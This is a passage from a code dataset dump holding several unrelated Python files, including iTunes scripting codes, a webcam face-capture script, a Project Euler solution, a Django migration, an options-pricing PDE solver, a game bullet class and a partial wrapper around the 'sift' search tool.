b'pURL'),\n ('shared', b'pShr'),\n ('smart', b'pSmt'),\n ('bounds', b'pbnd'),\n ('closeable', b'hclb'),\n ('collapseable', b'pWSh'),\n ('collapsed', b'wshd'),\n ('position', b'ppos'),\n ('resizable', b'prsz'),\n ('zoomable', b'iszm'),\n ('zoomed', b'pzum')]\n\nelements = \\\n[('artworks', b'cArt'),\n ('audio_CD_playlists', b'cCDP'),\n ('audio_CD_tracks', b'cCDT'),\n ('browser_windows', b'cBrW'),\n ('device_playlists', b'cDvP'),\n ('device_tracks', b'cDvT'),\n ('encoders', b'cEnc'),\n ('EQ_presets', b'cEQP'),\n ('EQ_windows', b'cEQW'),\n ('file_tracks', b'cFlT'),\n ('folder_playlists', b'cFoP'),\n ('items', b'cobj'),\n ('library_playlists', b'cLiP'),\n ('playlists', b'cPly'),\n ('playlist_windows', b'cPlW'),\n ('radio_tuner_playlists', b'cRTP'),\n ('shared_tracks', b'cShT'),\n ('sources', b'cSrc'),\n ('tracks', b'cTrk'),\n ('URL_tracks', b'cURT'),\n ('user_playlists', b'cUsP'),\n ('visuals', b'cVis'),\n ('windows', b'cwin'),\n ('application', b'capp'),\n ('print_settings', b'pset')]\n\ncommands = \\\n[('set', b'coresetd', [('to', b'data')]),\n ('exists', b'coredoex', []),\n ('move', b'coremove', [('to', b'insh')]),\n ('subscribe', b'hookpSub', []),\n ('playpause', b'hookPlPs', []),\n ('download', b'hookDwnl', []),\n ('close', b'coreclos', []),\n ('open', b'aevtodoc', []),\n ('open_location', b'GURLGURL', []),\n ('quit', b'aevtquit', []),\n ('pause', b'hookPaus', []),\n ('make',\n 'corecrel',\n [('new', b'kocl'), ('at', b'insh'), ('with_properties', b'prdt')]),\n ('duplicate', b'coreclon', [('to', b'insh')]),\n ('print_',\n 'aevtpdoc',\n [('print_dialog', b'pdlg'),\n ('with_properties', b'prdt'),\n ('kind', b'pKnd'),\n ('theme', b'pThm')]),\n ('add', b'hookAdd ', [('to', b'insh')]),\n ('rewind', b'hookRwnd', []),\n ('play', b'hookPlay', [('once', b'POne')]),\n ('run', b'aevtoapp', []),\n ('resume', b'hookResu', []),\n ('updatePodcast', b'hookUpd1', []),\n ('next_track', b'hookNext', []),\n ('stop', b'hookStop', []),\n ('search', b'hookSrch', [('for_', b'pTrm'), ('only', b'pAre')]),\n ('updateAllPodcasts', b'hookUpdp', []),\n ('update', b'hookUpdt', []),\n ('previous_track', b'hookPrev', []),\n ('fast_forward', b'hookFast', []),\n ('count', b'corecnte', [('each', b'kocl')]),\n ('reveal', b'hookRevl', []),\n ('convert', b'hookConv', []),\n ('eject', b'hookEjct', []),\n ('back_track', b'hookBack', []),\n ('refresh', b'hookRfrs', []),\n ('delete', b'coredelo', [])]\n","sub_path":"cocoa/inter/tunes.py","file_name":"tunes.py","file_ext":"py","file_size_in_byte":7316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"582251344","text":"import os\nimport cv2\nimport imutils\nimport shared\nimport dlib\nfrom PIL import ImageGrab\n\ndetector = dlib.get_frontal_face_detector()\nCAP = cv2.VideoCapture(0)\nCAP.set(cv2.CAP_PROP_FRAME_WIDTH, 640)\nCAP.set(cv2.CAP_PROP_FRAME_HEIGHT, 480)\nCOUNT = len(next(os.walk(shared.ROOT_TRAIN_NIKITA_FOLDER))[2])\nROI_COLOR = []\n\nwhile(True):\n ret, frame = CAP.read()\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n rects = detector(gray, 1)\n\n try:\n for (i, rect) in enumerate(rects):\n (x, y, w, h) = shared.rect_to_bb(rect)\n print(i, x, y, w, h)\n ROI_COLOR = frame[y:y+h, x:x+w]\n end_cord_x = x + w\n end_cord_y = y + h\n cv2.rectangle(frame, (x, y), (end_cord_x, end_cord_y), shared.COLOR_GREEN, shared.STROKE)\n c_name, color = prediction.predict(ROI_COLOR)\n except:\n print(\"Error\")\n\n cv2.imshow('frame', frame)\n\n key = cv2.waitKey(1) & 0xFF\n\n if key == ord('s'):\n cv2.imwrite(os.path.join(shared.ROOT_TRAIN_NIKITA_FOLDER, str(COUNT) + \".png\"), cv2.resize(ROI_COLOR, width=shared.IMG_WIDTH, height=shared.IMG_HEIGHT))\n COUNT += 1\n elif key == ord(\"q\"):\n break\n\nCAP.release()\ncv2.destroyAllWindows()","sub_path":"src/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"159502596","text":"## Euler 49\n##\n## The arithmetic sequence, 1487, 4817, 8147, in which\n## each of the terms increases by 3330, is unusual in\n## two ways:\n##\n## (i) each of the three terms are prime, and,\n## (ii) each of the 4-digit numbers are permutations of one another.\n##\n## There are no arithmetic sequences made up of three\n## 1-, 2-, or 3-digit primes, exhibiting this property,\n## but there is one other 4-digit increasing sequence.\n##\n## What 12-digit number do you form by concatenating the three terms\n## in this sequence?\n##\n## Answer: 2969.6299.9629\n## CPU time: 22.123274087905884\nimport time, itertools\nstart_time = time.time()\n\ndef prime_gen(start, stop):\n if start > stop or stop < 2:\n return\n if start <= 2 :\n start = 3\n yield 2\n if start % 2 == 0:\n start += 1\n for prime_test in range(start, stop+1, 2):\n if prime_test < 2:\n continue\n if prime_test == 2 or prime_test == 3:\n yield prime_test\n else:\n prime = True\n max_divisor = int(prime_test ** 0.5)+1\n for divisor_test in range(3, max_divisor, 2):\n if prime_test % divisor_test == 0:\n prime = False\n break\n if prime == True:\n yield prime_test\n\ndef get_perms(item):\n perms = set()\n [perms.add(int(''.join(perm))) for perm in itertools.permutations(str(item))]\n while item in perms:\n perms.remove(item)\n perms = list(perms)\n del_perms = list()\n for perm in perms:\n if len(str(perm)) < len(str(item)):\n del_perms.append(perm)\n## print(perms, del_perms)\n for del_perm in del_perms:\n perms.remove(del_perm)\n return perms\n\nprimes = [i for i in prime_gen(1000,9999)]\nmyprimes = []\nfor prime in primes:\n perm_match = 0\n for perm in get_perms(prime):\n if perm in primes:\n perm_match += 1\n if perm_match >= 3:\n if prime not in myprimes:\n myprimes.append(prime)\n\nfor prime in myprimes:\n for increment in range(2, ((myprimes[-1] - prime) // 2) + 2):\n prime2, prime3 = prime + increment, prime + increment + increment\n if prime2 not in myprimes or prime3 not in myprimes:\n continue\n else:\n if prime2 in get_perms(prime) and prime3 in get_perms(prime):\n print(prime, prime + increment, prime + increment + increment)\n print(increment)\n\n\n##for i in range(1000,10000):\n## if i >= 9999:\n## yield i\n\nend_time = time.time()\nprint('{:.2F} seconds'.format((end_time - start_time)))\n","sub_path":"finished/049/049.py","file_name":"049.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"441191117","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('news_providers', '0035_auto_20160204_2003'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='provider',\n name='articles_parent_container_selector',\n field=models.CharField(null=True, help_text=\"Beautiful Soup selector for all articles' parent container\", blank=True, max_length=70),\n ),\n migrations.AlterField(\n model_name='selector',\n name='selector',\n field=models.ForeignKey(null=True, blank=True, to='news_providers.Provider'),\n ),\n ]\n","sub_path":"news_providers/migrations/0036_auto_20160204_2108.py","file_name":"0036_auto_20160204_2108.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"385776280","text":"\n\nclass FlashSessionUpdateId(BaseOrder):\n \"\"\"api controller obj\"\"\"\n def __init__(self, **kwargs):\n super(FlashSessionUpdateId, self).__init__()\n self.info = \"修改场次\"\n self.uri = \"/flashSession/update/{id}\"\n self.method = \"post\"\n self.body = self.Body(**kwargs)\n self.resp = self.Resp()\n\n class Body(BaseObj):\n def __init__(self, **kwargs):\n self.id = None\n self.createTime = None # 创建时间\n self.endTime = None # 每日结束时间\n self.id = None # 编号\n self.name = None # 场次名称\n self.startTime = None # 每日开始时间\n self.status = None # 启用状态:0->不启用;1->启用\n BaseObj.__init__(**kwargs)\n\n class Resp(object):\n def __init__(self):\n super(FlashSessionUpdateId.Resp, self).__init__()\n self.code = None # None\n self.data = None # None\n self.message = None # None\n\n","sub_path":"Python接口自动化/auto_test_old/common/scripts/temp_file/FlashSessionUpdateIdObj.py","file_name":"FlashSessionUpdateIdObj.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"577853410","text":"from setuptools import setup, find_packages\n\nversion = '0.2.0'\n\nsetup(\n name='pyramid_openapi',\n version=version,\n description=\"Pyramid OpenAPI helpers\",\n long_description=(open(\"README.rst\").read() + \"\\n\\n\" +\n open(\"HISTORY.rst\").read()),\n classifiers=[\n \"Development Status :: 1 - Alpha\",\n \"Environment :: Web Environment\",\n \"Framework :: Pyramid\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: Apache Software License\"\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.6\",\n \"Topic :: Software Development :: Libraries :: Python Modules\"\n ],\n keywords='python pyramid openapi',\n author='',\n author_email='',\n url='https://github.com/ausecocloud/pyramid_openapi',\n license='Apache License 2.0',\n packages=find_packages('src'),\n package_dir={'': 'src'},\n namespace_packages=[],\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n 'setuptools',\n 'pyramid',\n 'pyramid_chameleon',\n 'openapi-core',\n ],\n extras_require={\n 'test': [\n ],\n }\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"571830167","text":"import numpy as np\n \n\n## array con los tiempos (en minutos) de delay\ndef crearTiemposDelay(t_llegada,t_servicio,t_delay):\n for i in range(1,len(t_llegada)):\n if(t_llegada[i] < t_llegada[i-1] + t_servicio[i-1] + t_delay[i-1]):\n t_delay.append((t_llegada[i-1] + t_servicio[i-1] + t_delay[i-1]) - t_llegada[i])\n else:\n t_delay.append(0.0)\n\n## para calcular estadísticas de trabajo ##\n\ndef estadisticasDeTrabajo(n, t_llegada,t_servicio,t_delay, avgR,avgS,avgD,avgW,rateR,rateS):\n \n for i in range(len(t_servicio)):\n avgS += t_servicio[i]\n avgD += t_delay[i]\n\n avgR = t_llegada[n-1]/n #tiempo promedio entre llegadas\n avgS = avgS/n #tiempo promedio de servicio\n avgD = avgD/n #tiempo promedio de delay\n avgW = avgS + avgD #tiempo promedio de espera\n rateR = 1/avgR # tasa de llegada\n rateS = 1/avgS # tasa de servicio\n\n eTrabajo = [avgR,avgS,avgD,avgW,rateR,rateS]\n return eTrabajo\n\n \n## para una iteracion de los datos (solo para verificación de datos) ##\n\ndef imprimirDatos(n,eTrabajo,eTiempo):\n print(\"\\n---Estadisticas de Trabajo---\")\n print(\"Average Interarrival time: \",eTrabajo[0])\n print(\"Average service time: \",eTrabajo[1])\n print(\"Average delay time: \",eTrabajo[2])\n print(\"Average wait time: \",eTrabajo[3])\n print(\"Arrival rate: \",eTrabajo[4])\n print(\"Service rate: \",eTrabajo[5])\n if eTrabajo[4] reliaqual com\n\"\"\"RAMSTKRPN Table\"\"\"\n\nfrom sqlalchemy import Column, Integer, String\n\n# Import other RAMSTK modules.\nfrom ramstk.Utilities import error_handler, none_to_default\nfrom ramstk.dao.RAMSTKCommonDB import RAMSTK_BASE\n\n\nclass RAMSTKRPN(RAMSTK_BASE):\n \"\"\"\n Class to represent the table ramstk_rpn in the RAMSTK Common database.\n \"\"\"\n\n __tablename__ = 'ramstk_rpn'\n __table_args__ = {'extend_existing': True}\n\n rpn_id = Column(\n 'fld_rpn_id',\n Integer,\n primary_key=True,\n autoincrement=True,\n nullable=False)\n name = Column('fld_name', String(512), default='RPN Name')\n description = Column(\n 'fld_description', String(512), default='RPN Description')\n rpn_type = Column('fld_type', String(256), default='')\n value = Column('fld_value', Integer, default=0)\n\n def get_attributes(self):\n \"\"\"\n RPN to retrieve the current values of the RAMSTKRPN data\n model attributes.\n\n :return: (rpn_id, name, description, rpn_type, value)\n :rtype: tuple\n \"\"\"\n\n _values = (self.rpn_id, self.name, self.description, self.rpn_type,\n self.value)\n\n return _values\n\n def set_attributes(self, attributes):\n \"\"\"\n RPN to set the current values of the RAMSTKRPN data model\n attributes.\n\n :param tuple attributes: tuple containing the values to set.\n :return: (_error_code, _msg)\n :rtype: (int, str)\n \"\"\"\n\n _error_code = 0\n _msg = \"RAMSTK SUCCESS: Updating RAMSTKRPN {0:d} attributes.\". \\\n format(self.rpn_id)\n\n try:\n self.name = str(none_to_default(attributes[0], 'RPN Name'))\n self.description = str(\n none_to_default(attributes[1], 'RPN Description'))\n self.rpn_type = str(none_to_default(attributes[2], ''))\n self.value = int(none_to_default(attributes[3], 0))\n except IndexError as _err:\n _error_code = error_handler(_err.args)\n _msg = \"RAMSTK ERROR: Insufficient number of input values to \" \\\n \"RAMSTKRPN.set_attributes().\"\n except (TypeError, ValueError) as _err:\n _error_code = error_handler(_err.args)\n _msg = \"RAMSTK ERROR: Incorrect data type when converting one or \" \\\n \"more RAMSTKRPN attributes.\"\n\n return _error_code, _msg\n","sub_path":"src/ramstk/dao/commondb/RAMSTKRPN.py","file_name":"RAMSTKRPN.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"248960527","text":"from Entity import Entity\nimport Constants\n\nimport math\n\nimport random\n\nimport pygame\n\nfrom Animation import Animation\n\nimport Settings\n\nclass Bullet(Entity):\n def __init__(self, x_coordinate, y_coordinate, x_size, y_size, movement_speed_max, x_destination, y_destination, ship_id,\n damage, bullet_duration, type=Constants.GeneralConstants.BULLET):\n\n Entity.__init__(self, x_coordinate, y_coordinate, x_size, y_size, type)\n\n self.rotatable = True\n\n self.collidable_type = Constants.CollidableTypes.BULLET\n self.type = Constants.GeneralConstants.BULLET\n self.component_type = Constants.ShipConstants.WEAPON\n\n #TODO : owner\n self.owner = None\n\n self.x_destination = x_destination\n self.y_destination = y_destination\n\n self.angle_destination = math.atan2(\n self.y_coordinate - self.y_destination,\n self.x_coordinate - self.x_destination\n )\n self.angle = math.degrees(self.angle_destination)\n self.angle_speed = 0\n\n self.x_movement_speed = -movement_speed_max * math.cos(self.angle_destination)\n self.y_movement_speed = -movement_speed_max * math.sin(self.angle_destination)\n\n self.cycles_max = bullet_duration\n\n # dice = random.randint(0, 100)\n # if bullet_corruption < dice:\n # self.cycles_max /= 3\n\n\n self.cycles = 0\n\n self.damage = damage\n\n self.ship_id = ship_id\n\n self.worn_out = False\n\n\n self.image = None\n self.image_default = None\n\n\n # self.slice = (15,0, 15,3)\n\n self.init_animation([\"bullet.png\", \"bullet_blink1.png\", \"bullet_blink2.png\"], 8)\n\n\n\n\n def move(self):\n self.x_coordinate += self.x_movement_speed\n self.y_coordinate += self.y_movement_speed\n self.cycles += 1\n\n # if self.cycles >= self.cycles_max - self.cycles_max/2:\n # self.buff_image = self.image\n # self.image = pygame.Surface((self.x_size, self.y_size))\n # self.image.set_alpha(100)\n # self.image.blit(self.buff_image, (0,0))\n # # self.buff_image.set_alpha(155)\n # # self.image = self.buff_image\n # # self.image.convert_alpha()\n # # self.image = self.image.convert_alpha()\n # # self.image.set_alpha(200)\n\n if self.cycles >= self.cycles_max:\n self.worn_out = True\n self.destroy()\n\n def rotate(self):\n self.angle += self.angle_speed\n\n def act(self):\n if self.animatable:\n self.animation.animate(self)\n self.rotate()\n self.move()\n\n\n def damage_dealt(self):\n return self.damage\n\n\n","sub_path":"spaceObjects/Bullet.py","file_name":"Bullet.py","file_ext":"py","file_size_in_byte":2697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"537117137","text":"import sys, os\nsys.path.append(os.path.dirname(os.path.abspath(__file__))+\"/../..\")\nfrom blackscholes.pde.Parabolic import Solver1d\nimport numpy as np\n\nclass Euro1d(Solver1d):\n def __init__(self, domain, vol, ir, dividend, strike, cp_type):\n \"\"\"\n cp_type (call/put type): 1 if call, -1 if put\n \"\"\"\n p = lambda S, t: vol**2*S**2/2\n q = lambda S, t: (ir-dividend)*S\n r = lambda S, t: -ir*np.ones(len(S))\n f = lambda S, t: 0\n domain.ic = lambda S, t: np.maximum(cp_type*(S - strike), 0)\n domain.bc = lambda S, t: strike*np.exp(-ir*t) if abs(S) < 7/3-4/3-1 else 0\n super().__init__(p, q, r, f, domain)\n","sub_path":"src/blackscholes/pde/Euro.py","file_name":"Euro.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"333533809","text":"#!/usr/bin/env\n# -*- coding: utf-8 -*-\n# filename = command\n# author=KGerring\n# date = 8/25/17\n\"\"\" filename = command\"\"\"\nfrom __future__ import absolute_import, unicode_literals\nfrom pathlib import Path\nimport os\nimport sys\nimport regex\nimport re\nfrom startups import *\n\nfrom tempfile import NamedTemporaryFile\n#from __future__ import absolute_import, unicode_literals\nfrom inflection import camelize, dasherize, underscore\nfrom subprocess import getoutput as output\nfrom invoke.parser import Context as _Context\nfrom invoke.parser import is_flag, is_long_flag, translate_underscores\nfrom pexpect.utils import which, split_command_line\nfrom startups.core import AttrDict\nfrom invoke.parser.context import ParserContext, to_flag, flag_key, sort_candidate\nfrom invoke.parser.argument import Argument as _Argument\nimport shlex\nimport addict\nimport subprocess\nfrom startups.helpers.decorators import TraceCalls\nfrom inflection import camelize, dasherize, underscore\nLIST_TYPES = '--list-types'\n#EXAMPLE = 'sift -n --field-sep=\":\" --replace \\'\"$2\"\\' \"(?Pfindall|search|match)\\(r\\'([^\\']+)\\'\" {}'.format( test_regex.__file__)\nGET_CAT = output('sift -A=1 --no-filename -e \"#cat:.+\" /Users/kristen/PycharmProjects/proj/importpy')\n\n# module = self._data_build(data, modname, path)\n#return self._post_build(module, encoding)\n#builder = rebuilder.TreeRebuilder(self._manager)\n#module = builder.visit_module(node, modname, node_file, package)\n\n#%quickref\n#%lsmagic\n#page.page(self.shell.pycolorize(read_py_file(filename, skip_encoding_cookie=False)))\n#from pydev_ipython.inputhook import enable_gui as real_enable_gui\n\n\n\n#IPython.utils.PyColorize\n#IPython.utils.coloransi.TermColors\n#IPython.core.interactiveshell.PyColorize.LightBGColors\n#IPython.utils.PyColorize.Parser\n#pyformat = PyColorize.Parser(style=self.colors, parent=self).format\n\n\n\n__all__ = ['Argument', 'Context']\n\ndef uncamelize(s):\n\tfrom inflection import camelize, dasherize, underscore\n\treturn dasherize(underscore(s))\n\ndef make_camelcase(s):\n\tfrom inflection import camelize, dasherize, underscore\n\treturn camelize(underscore(s))\n\n\n\n#-iname -wholename PATTERN; -readable -writable -executable; -fstype TYPE;-ilname PATTERN -iname PATTERN\n#-lname PATTERN; -name PATTERN; -path PATTERN; -regex PATTERN\n#Tests -empty -executable -iwholename pattern\n#gf = output('gfind . -type f -regex \"^.*\" -printf \"%P\\n\"')\n_a = '''gfind $HOME -type f -iname \".*sift.*conf\" -printf \"%p\\n\"|sort'''\n\n\n\n\n\nPATTERN_FILE = '/Users/kristen/PycharmProjects/proj/startups/startups/data/sift_pattern.txt'\n\nSIFT_WITH_FILE = 'sift --regexp-file={!r} .'.format(PATTERN_FILE)\n\nTYPES = (\"string\", \"int\", \"long\", \"float\", \"complex\", \"choice\")\n\nLOCAL_SIFT = LOCAL_CONFIG = '/Users/kristen/PycharmProjects/proj/startups/startups/.sift.conf'\n\nLOCAL = '--conf=/Users/kristen/PycharmProjects/proj/startups/startups/.sift.conf'\n\n_default = ['sift', '-w', '--binary-skip', '--conf=/Users/kristen/PycharmProjects/proj/startups/startups/.sift.conf', '--regexp=regex', '.']\n\n\nSIFT_CONF = \".sift.conf\"\n\n\nclass Argument(_Argument):\n\toptional = True\n\t#_n = 'name', 'names', 'kind', 'default', 'help', 'positional', 'optional', 'attr_name'\n\t\n\tdef __init__(self, *args, **kwargs):\n\t\t\"\"\"\n\t\t\n\t\t:param args:\n\t\t:param kwargs:\n\t\t\n\t\t>>> ee = Argument(names=('e', 'regexp'), fmt='PATTERN', positional=True, optional=False, default='.+')\n\t\t\"\"\"\n\t\tname = kwargs.get('name', None)\n\t\tnames = kwargs.get('names', ())\n\t\tkind = kwargs.get('kind', str)\n\t\tdefault = kwargs.get('default', None)\n\t\thelp = kwargs.get('help', None)\n\t\tpositional = kwargs.get('positional', False)\n\t\toptional = kwargs.get('optional', True)\n\t\tattr_name = kwargs.get('attr_name', None)\n\t\tfmt = kwargs.get('fmt', 'STRING')\n\t\tsuper(Argument, self).__init__(name=name, names=names, kind=kind, default=default, help=help,\n\t\t positional=positional, optional=optional, attr_name=attr_name)\n\t\t#setattr(self, 'name', 'name')\n\t\tself.names = tuple(names if names else (name,))\n\t\tself.flags =tuple(to_flag(f) for f in self.names)\n\t\tsetattr(self, 'fmt', fmt)\n\t\n\t@property\n\tdef name(self):\n\t\treturn self.names[-1] or self.attr_name\n\t\n\t#def setup(self):\n\t#\targ = self\n\t#\tmain = self.names[0]\n\t#\tself.args[main] = arg\n\t#\tself.flags[to_flag(main)] = arg\n\t#\tif self.kind == bool and self.default is True:\n\t#\t\tself.inverse_name = to_flag(\"no-{0}\".format(main))\n\t#\t\tself.inverse_flags[inverse_name] = to_flag(main)\n\t\t\t\n\tdef help_for(self, use_value=None):\n\t\tif use_value:\n\t\t\tvalue = use_value\n\t\telse:\n\t\t\tif hasattr(self, 'fmt'):\n\t\t\t\tvalue = self.fmt\n\t\t\telse:\n\t\t\t\tvalue = {str: 'STRING', }.get(self.kind)\n\t\tfull_names = []\n\t\tfor name in self.names:\n\t\t\t#if self.kind == bool: valuestr == \"\"\n\t\t\tif len(name.strip('-')) == 1:\n\t\t\t\tvalue_ = (\"[{0}]\".format(value)) if self.optional else value\n\t\t\t\tvaluestr = \" {0}\".format(value_)\n\t\t\telse:\n\t\t\t\tvaluestr = \"={0}\".format(value)\n\t\t\t\tif self.optional:\n\t\t\t\t\tvaluestr = \"[{0}]\".format(valuestr)\n\t\t\tfull_names.append(to_flag(name) + valuestr)\n\t\treturn full_names\n\n\tdef get_help(self, use_value=None):\n\t\tfull_names = self.help_for(use_value=use_value)\n\t\tnamestr = \", \".join(sorted(full_names, key=len))\n\t\thelpstr = self.help or \"\"\n\t\treturn namestr, helpstr\n\t\n\tdef __repr__(self):\n\t\tparams, helpstr = self.get_help()\n\t\tresult = ', '.join((params, helpstr))\n\t\treturn result\n\t\t\n\n#o = output('sift --line-number --column --binary-skip -x py -e \"Tracer\" /Users/kristen/anaconda/lib/python3.6')\n\n\nLOAD_CONFIG = Argument(name='conf', kind=str, optional=True, attr_name='conf', help='load config file FILE', fmt='FILE')\nREGEXP_FILE = Argument(names=('f', 'regexp-file'), kind=str, default='-', optional=True, attr_name='regexp_file',help='search for patterns contained in FILE (one per line)', fmt='FILE')\nREGEXP = Argument(names=('e', 'regexp'), default='.+', positional=True, optional=False, attr_name='regexp', fmt='PATTERN')\nFILEPATH = Argument(name='dir', kind=str, positional=True, optional=False, attr_name='filepath',default='.',help='the file or path to search')\nCONTEXT = Argument(names=('C', 'context'), fmt='NUM', attr_name='context', help='show NUM context lines')\nContextAfter= Argument(names=('A', 'context-after'), fmt='NUM', attr_name='context_after', help='show NUM context lines after match')\nContextBefore= Argument(names=('B', 'context-before'), fmt='NUM', attr_name = 'context_before', help='show NUM context lines before match')\nIncludeDirs = Argument(name='dirs', fmt='GLOB', attr_name='IncludeDirs', help='recurse only into directories whose name matches GLOB')\nExcludeDirs = Argument(name='exclude-dirs', fmt='GLOB', attr_name='ExcludeDirs', help='do not recurse into directories whose name matches GLOB')\nOutput = Argument(names=('o', 'output'), fmt='FILE|tcp://HOST:PORT', help='write output to the specified file or network connection')\nZip = Argument(names=('z', 'zip'), default=False, help=\"search content of compressed .gz files (default: off)\")\nSmartCase = Argument(names=('s', 'smart-case'), kind=bool, attr_name='SmartCase', default='off', help='case insensitive unless pattern contains uppercase characters (default: off)')\nReplace = Argument(name=('replace'), attr_name='Replace', help=\"replace numbered or named (?Ppattern) capture groups. Use ${1}, ${2}, $name, ... for captured submatches\")\nFieldSep = Argument(name='field-sep', attr_name='FieldSep', default=\":\", help='column separator (default: \":\")')\nAddType = Argument(name='add-type', attr_name='AddType', help='add custom type (see --list-types for format)')\nDelType = Argument(name='del-type', attr_name='DelType', help='remove custom type')\n\nARGUMENTS = [\n\tArgument(name='field-sep', attr_name='FieldSep', default=\":\", help='column separator (default: \":\")'),\n Argument(name='add-type', attr_name='AddType',help='add custom type (see --list-types for format)'),\n Argument(name='del-type', attr_name='DelType', help='remove custom type'),\n\tArgument(name=('conf'), attr_name='Conf', help='load config file FILE'),\n\tArgument(name=('dirs'), attr_name='IncludeDirs', help='recurse only into directories whose name matches GLOB'),\n\tArgument(name=('exclude-dirs'), attr_name='ExcludeDirs', help='do not recurse into directories whose name matches GLOB'),\n\tArgument(name=('exclude-files'), attr_name='ExcludeFiles', help='do not select files whose name matches GLOB while recursing'),\n\tArgument(name=('exclude-ipath'), attr_name='ExcludeIPath', help='do not search files whose path matches PATTERN (case insensitive)'),\n\tArgument(name=('exclude-path'), attr_name='ExcludePath', help='do not search files whose path matches PATTERN'),\n\tArgument(name=('files'), attr_name='IncludeFiles', help='search only files whose name matches GLOB'),\n\tArgument(name=('ipath'), attr_name='IncludeIPath', help='search only files whose path matches PATTERN (case insensitive)'),\n\tArgument(name=('output-limit'), attr_name='OutputLimit', help='limit output length per found match'),\n\tArgument(name=('output-sep'), attr_name='OutputSep', default=r'\\n', help='output separator (default: \"\\\\n\")'),\n\tArgument(name=('output-unixpath'), attr_name='OutputUnixPath',help='output file paths in unix format (\" / \" as path separator)'),\n\tArgument(name=('path'), attr_name='IncludePath', help='search only files whose path matches PATTERN'),\n\tArgument(name=('binary-skip'), attr_name='BinarySkip', help='skip files that seem to be binary'),\n\tArgument(name=('binary-text'), attr_name='BinaryAsText'),\n\tArgument(name=('byte-offset'), attr_name='ByteOffset', help='show the byte offset before each output line'),\n\tArgument(name=('color'), attr_name='Color', default='auto', help='enable colored output (default: auto)'),\n\tArgument(name=('column'), attr_name='ShowColumnNumbers', help='show column numbers'),\n\tArgument(name=('dirs'), fmt='GLOB', help='recurse only into directories whose name matches GLOB'),\n\tArgument(name=('err-show-line-length'), attr_name='ErrShowLineLength', help='show all line length errors'),\n\tArgument(name=('err-skip-line-length'), attr_name='ErrSkipLineLength', help='skip line length errors'),\n\tArgument(name=('exclude-dirs'), fmt='GLOB', help='do not recurse into directories whose name matches GLOB'),\n\tArgument(name=('exclude-files'), fmt='GLOB', help='do not select files whose name matches GLOB while recursing'),\n\tArgument(name=('exclude-ipath'), fmt='PATTERN', help='do not search files whose path matches PATTERN (case insensitive)'),\n\tArgument(name=('exclude-path'), fmt='PATTERN', help='do not search files whose path matches PATTERN'),\n\tArgument(name=('filename'), attr_name='ShowFilename', default='auto', help='enforce printing the filename before results (default: auto)'),\n\tArgument(name=('files'), fmt='GLOB', help='search only files whose name matches GLOB'),\n\tArgument(name=('follow'), attr_name='FollowSymlinks', help='follow symlinks'),\n\tArgument(name=('git'), attr_name='Git', help='respect .gitignore files and skip .git directories'),\n\tArgument(name=('group'), attr_name='GroupByFile', help='group output by file (default: off)'),\n\tArgument(name=('ipath'), fmt='PATTERN', help='search only files whose path matches PATTERN (case insensitive)'),\n\tArgument(name=('limit'), attr_name='Limit', fmt='NUM', help='only show first NUM matches per file'),\n\tArgument(name=('list-types'), attr_name='ListTypes', help='list available file types'),\n\tArgument(name=('no-byte-offset'), attr_name='NoByteOffset', help='do not show the byte offset before each output line'),\n\tArgument(name=('no-color'), attr_name='NoColor', help='disable colored output'),\n\tArgument(name=('no-column'), attr_name='NoColumn', help='do not show column numbers'),\n\tArgument(name=('no-conf'), attr_name='NoConfig', help='do not load config files'),\n\tArgument(name=('no-filename'), attr_name='NoFilename', help='disable printing the filename before results'),\n\tArgument(name=('no-group'), attr_name='NoGroupByFile', help='do not group output by file'),\n\tArgument(name=('only-matching'), attr_name='OnlyMatching', help='only show the matching part of a line'),\n\tArgument(name=('output-unixpath'), attr_name='OutputUnixPath', help=\"output file paths in unix format ('/' as path separator)\"),\n\tArgument(name=('path'), fmt='PATTERN', help='search only files whose path matches PATTERN'),\n\tArgument(name=('print-config'), attr_name='PrintConfig', help='print config for loaded configs + given command line arguments'),\n\tArgument(name=('stats'), attr_name='Stats', help='show statistics'),\n\tArgument(name=('targets'), attr_name='TargetsOnly', help='only list selected files, do not search'),\n\tArgument(name=('write-config'), attr_name='WriteConfig', help='save config for loaded configs + given command line arguments'),\n\t\n\tArgument(names=('A', 'context-after'), fmt='NUM', attr_name='ContextAfter', help='show NUM context lines after match'),\n\tArgument(names=('B', 'context-before'), fmt='NUM', attr_name='ContextBefore', help='show NUM context lines before match'),\n\tArgument(names=('C', 'context'), fmt='NUM', attr_name='Context', help='show NUM context lines'),\n\tArgument(names=('I', 'no-ignore-case'), attr_name='NoIgnoreCase', help='disable case insensitive'),\n\tArgument(names=('L', 'files-without-match'), attr_name='FilesWithoutMatch', help='list files containing no match'),\n\tArgument(names=('M', 'no-multiline'), attr_name='NoMultiline', help='disable multiline parsing'),\n\tArgument(names=('N', 'no-line-number'), attr_name='NoLineNumber', help='do not show line numbers'),\n\tArgument(names=('Q', 'literal'), attr_name='Literal', help='treat pattern as literal, quote 